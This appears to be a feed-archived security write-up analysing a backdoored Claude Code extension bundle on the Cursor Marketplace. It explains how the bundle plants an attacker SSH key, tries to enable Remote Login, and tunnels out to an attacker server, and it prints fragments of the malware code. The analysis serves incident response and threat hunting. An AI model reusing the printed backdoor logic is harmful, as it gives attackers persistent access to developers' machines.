{
  "description": "Browse aymeric's, an independent, searchable archive of readable snapshots from followed feeds, preserved in Git with aggr.",
  "feed_url": "https://aggr.aymericbeaumet.com/sources/phorion.io/feed.json",
  "home_page_url": "https://aggr.aymericbeaumet.com/sources/phorion.io/",
  "items": [
    {
      "authors": [
        {
          "name": "_chall"
        }
      ],
      "content_html": "<h2>TL;DR</h2>\n<p>Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.</p>\n<p>Organisations should immediately review their environments for use of Claude Code for VSCode <code>2.1.313</code> and engage incident response where use of the extension is discovered.</p>\n<p>Phorion has discovered a compromise of the official <strong>Claude Code for VS Code</strong> extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the associated release from its marketplace, additionally pulling NPM and VSCode versions for <code>2.1.313</code> from their relevant registries.</p>\n<p>While the implant includes setup and persistence logic for <strong>macOS, Linux, and Windows</strong>, we’re going to focus primarily on <strong>macOS</strong> in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.</p>\n<p>The Cursor Marketplace serves extensions for the Cursor editor. Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.</p>\n<p>Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, <code>systemsetup -getremotelogin</code> prints an administrator-access error and exits with status <code>0</code> instead of returning <code>Off</code>. Because the script only tries to enable SSH if the output matches <code>Off</code>, it skips the enablement step entirely. On a Mac that doesn’t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.</p>\n<p>In this post, we’ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet. The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.</p>\n<h2>Infection Chain</h2>\n<h3>The Cursor Marketplace Extension</h3>\n<p>The compromised <code>extension.js</code> file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle. The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal <code>activate</code> and <code>deactivate</code> exports, and UI code.</p>\n<p>The injected prefix pulls in standard Node.js modules (<code>child_process</code>, <code>fs</code>, <code>os</code>, <code>path</code>, <code>http</code>, and <code>crypto</code>) and executes as soon as Node loads the file, before the extension’s normal <code>activate</code> callback even runs. The user doesn’t need to interact with the extension for the payload to fire.</p>\n<h3>Stage 1 - Preparing SSH Access</h3>\n<p>First, the payload makes sure <code>~/.ssh</code> exists and appends an attacker-controlled Ed25519 public key to <code>~/.ssh/authorized_keys</code>, setting permissions to <code>0700</code> on the directory and <code>0600</code> on the file.</p>\n<p>The key uses the comment <code>svc-telemetry</code>. Before appending, the script checks whether <code>svc-telemetry</code> is already in the file rather than checking for the key itself. When hunting for this activity, it’s worth checking the public-key fingerprint rather than relying solely on the comment string.</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">sd</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">path</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">join</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-constant syntax-js\">HOME</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>.ssh<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ak</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">path</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">join</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">sd</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>authorized_keys<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ...\n</span><span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">cur</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">indexOf</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>svc-telemetry<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span> <span class=\"syntax-keyword syntax-operator syntax-relational syntax-js\">&lt;</span> <span class=\"syntax-constant syntax-numeric syntax-js\">0</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-variable syntax-other syntax-object syntax-js\">fs</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">appendFileSync</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">ak</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-constant syntax-js\">PUB</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span><span class=\"syntax-constant syntax-character syntax-escape syntax-js\">\\n</span><span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n  <span class=\"syntax-variable syntax-other syntax-object syntax-js\">d</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">sshKey</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>added<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span>\n</span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span> <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">else</span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-variable syntax-other syntax-object syntax-js\">d</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">sshKey</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>present<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span>\n</span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n</span></span></code></pre>\n<p>Here, <code>cur</code> holds the existing contents of <code>authorized_keys</code>, and <code>PUB</code> is the embedded attacker public key (redacted here).</p>\n<p>With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:</p>\n<ul>\n<li><strong>Linux:</strong> tries to enable and start <code>sshd</code> or <code>ssh</code> via <code>systemctl</code>, falling back to <code>service</code> and <code>/etc/init.d/</code>.</li>\n<li><strong>macOS:</strong> checks Remote Login and, if it reports <code>Off</code>, tries to enable it via <code>sudo -n systemsetup -setremotelogin on</code>.</li>\n<li><strong>Windows:</strong> tries to install and start OpenSSH Server using PowerShell.</li>\n</ul>\n<p>None of these steps include a privilege escalation exploit. Non-interactive <code>sudo -n</code> will fail unless the user already has passwordless sudo cached or configured, so starting a system service won’t always succeed from a standard user context.</p>\n<p>It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (<code>det()</code>) that hardcodes <code>/bin/sh</code>, which isn’t going to get very far on a standard Windows install.</p>\n<h3>A bug in the macOS SSH logic?</h3>\n<p>On macOS, the setup may run into problems before it even gets to the <code>sudo</code> command. The script runs <code>systemsetup -getremotelogin</code> without elevation and tests the output against <code>/Off/i</code>. It only tries to enable Remote Login if the output contains <code>Off</code>:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ...\n</span><span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">else if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-constant syntax-js\">PLAT</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>darwin<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">rl</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">ex</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>systemsetup -getremotelogin 2&gt;/dev/null<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-constant syntax-numeric syntax-js\">4000</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n  <span class=\"syntax-variable syntax-other syntax-object syntax-js\">d</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">remoteLogin</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">rl</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n  <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-regexp syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">/</span>Off<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">/</span><span class=\"syntax-keyword syntax-other syntax-js\">i</span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">test</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">rl</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">det</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>sudo -n systemsetup -setremotelogin on &gt;/dev/null 2&gt;&amp;1<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n    <span class=\"syntax-variable syntax-other syntax-object syntax-js\">d</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">remoteLoginOn</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>tried<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span>\n  </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n</span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n</span></span></code></pre>\n<p>Notice that the second command (<code>-setremotelogin on</code>) uses <code>sudo -n</code>, while the first command (<code>-getremotelogin</code>) doesn’t. When you run <code>systemsetup -getremotelogin</code> as a standard user on macOS, you get this instead:</p>\n<pre><code class=\"language-text\"><span class=\"code-snippet\">You need administrator access to run this tool... exiting!\n</span></code></pre>\n<p><code>systemsetup</code> refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status <code>0</code>. The malware’s <code>ex()</code> helper grabs stdout and returns it:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span> <span class=\"syntax-entity syntax-name syntax-function syntax-js\">ex</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">c</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">t</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-meta syntax-try syntax-js\"><span class=\"syntax-keyword syntax-control syntax-trycatch syntax-js\">try</span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">cp</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">execSync</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">c</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n      <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">timeout</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">t</span> <span class=\"syntax-keyword syntax-operator syntax-logical syntax-js\">||</span> <span class=\"syntax-constant syntax-numeric syntax-js\">3000</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n      <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">stdio</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>ignore<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>pipe<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>ignore<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n      <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">windowsHide</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-boolean syntax-true syntax-js\">true</span>\n    <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">toString</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">trim</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n  </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span> <span class=\"syntax-meta syntax-catch syntax-js\"><span class=\"syntax-keyword syntax-control syntax-trycatch syntax-js\">catch</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">e</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span><span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span>\n  </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n</span></span></code></pre>\n<p>Because the output is <code>&quot;You need administrator access to run this tool... exiting!&quot;</code>, <code>/Off/i.test(rl)</code> evaluates to <code>false</code>.</p>\n<p>As a result, the script skips the <code>if</code> block and never runs <code>sudo -n systemsetup -setremotelogin on</code>. It effectively treats “I don’t have permission to check if SSH is off” as “SSH is already on”, which also explains why you won’t see the enablement attempt in process telemetry when the extension runs as a normal user.</p>\n<blockquote>\n<p><strong>This bug can break the final step of the access chain.</strong> If Remote Login isn’t already enabled on the Mac, the outbound tunnel can still connect to the attacker’s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.</p>\n</blockquote>\n<p>Of course, that isn’t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.</p>\n<h3>Stage 2 - Establishing the Reverse SSH Tunnel</h3>\n<p>Next, the script sets up an outbound SSH connection to <code>134.209.82[.]225</code> as the <code>tunnel</code> user on port 22. To authenticate to the attacker’s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment <code>svc-telemetry-tun</code>.</p>\n<p>It’s worth keeping the two keys straight during an investigation:</p>\n<ul>\n<li>The public key added to <code>~/.ssh/authorized_keys</code> (<code>svc-telemetry</code>) lets the attacker log into the victim’s machine.</li>\n<li>The embedded private key (<code>svc-telemetry-tun</code>) lets the victim’s machine connect out to the attacker’s tunnel server.</li>\n</ul>\n<p>The script writes this tunnel key to the OS temporary directory with a filename starting with <code>.stk_</code>, followed by the first ten characters of the MD5 hash of the hostname and home directory path:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">kf</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">path</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">join</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span>\n  <span class=\"syntax-variable syntax-other syntax-constant syntax-js\">TMP</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>.stk_<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">crypto</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">createHash</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>md5<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n    <span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">update</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">String</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">os</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">hostname</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-variable syntax-other syntax-constant syntax-js\">HOME</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">digest</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>hex<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">slice</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-constant syntax-numeric syntax-js\">0</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-constant syntax-numeric syntax-js\">10</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ...\n</span><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-constant syntax-js\">RF</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-constant syntax-js\">PLAT</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string 